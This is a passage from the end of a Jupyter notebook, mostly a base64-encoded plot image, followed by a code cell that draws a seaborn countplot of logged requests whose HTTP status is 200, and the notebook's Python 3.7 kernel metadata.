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\n",
      "text/plain": [
       "<Figure size 432x288 with 1 Axes>"
      ]
     },
     "metadata": {
      "needs_background": "light"
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "plt.xticks(rotation=45, ha='right')\n",
    "sns.countplot(df1[df1['status'] == 200]['request'])"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.7.7"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 2
}